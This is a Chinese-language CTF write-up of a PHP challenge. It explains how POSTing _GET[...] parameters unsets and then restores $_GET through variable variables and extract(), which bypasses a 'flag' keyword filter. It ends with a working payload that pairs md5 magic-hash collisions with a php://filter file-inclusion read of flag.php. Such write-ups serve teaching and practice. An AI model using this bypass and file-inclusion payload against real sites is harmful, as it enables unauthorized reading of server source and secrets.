unset_记一道CTF题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php highlight_file('index.php'); function waf($a){ foreach($a as $key => $value){ if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } }
} if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } }
?>
|
要得到flag,可以构造出2个0e开头的md5,文件包含flag.php,用php伪协议读取文件,这些没有难度,难点在于waf函数过滤了flag,无法直接get传入flag的值
关键的代码在这,存在漏洞,仔细分析一下
1 2 3 4 5 6 7
| foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
|
- foreach(array_expression as $value) statement
第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)
- foreach(array_expression as $key => $value) statement
第二种格式做同样的事,只是除了当前单元的值以外,键值也会在每次循环中被赋给变量 $key
第一层foreach
里,$__R
就是_POST
, _GET
, _COOKIE
,加上一个$
就变为$_POST
, $_GET
, $_COOKIE
测试一下
当传入参数是数组时:
如果我们向index.php?x=123
提交一个POST请求内容为_GET[x]=123
因为?x=123
,所以$_GET
内容为Array([x] => 123)
处理post数据时,$__k
为_GET
,$$__k
就是$_GET
,也就是Array([x] => 123)
$__v
是post的数组,内容也是Array([x] => 123)
1 2 3 4 5 6 7 8 9 10 11 12
| <?php foreach(array('_POST','_GET') as $__R){ echo "\$\$__R<br>"; print_r($$__R); echo "<br>"; foreach($$__R as $__k => $__v) { echo "\$\$__k<br>"; print_r($$__k); echo "<br>"; echo "\$__v<br>"; print_r($__v); echo "<br>"; var_dump($$__k==$__v);echo "<br>"; } }
|
测试一下,发现$$__k==$__v
所以unset($$__k)
就把$_GET
变量销毁了,$_GET
变量没了waf函数自然也就能通过了
继续执行extract()
, 从数组中将变量导入到当前的符号表
1 2
| if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP);
|
执行这两句后$_GET
变量又回来了
一开始没明白是怎么又把$_GET
变量给还原的,本地测试了下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php foreach(array('_POST', '_GET') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } }
} echo "before extract()<br>"; echo "post:<br>"; var_dump($_POST);echo "<br>"; echo "get:<br>"; var_dump($_GET);echo "<br>";
if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP);
echo "<br>";echo "<br>"; echo "after extract()<br>"; echo "get:<br>"; var_dump($_GET);
if(isset($_GET['x'])) { echo "sss"; }
|
可以看到执行extract()
之前,$_POST
数组的键名是_GET
,$_GET
数组则不存在
先导入$_POST
数组,而$_POST
数组的键名是_GET
,所以也就是导入了名为_GET
的变量,也就是$_GET
变量,所以$_GET
成功被还原
然后如此构造payload
1 2 3 4
| ?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php
POST: _GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
|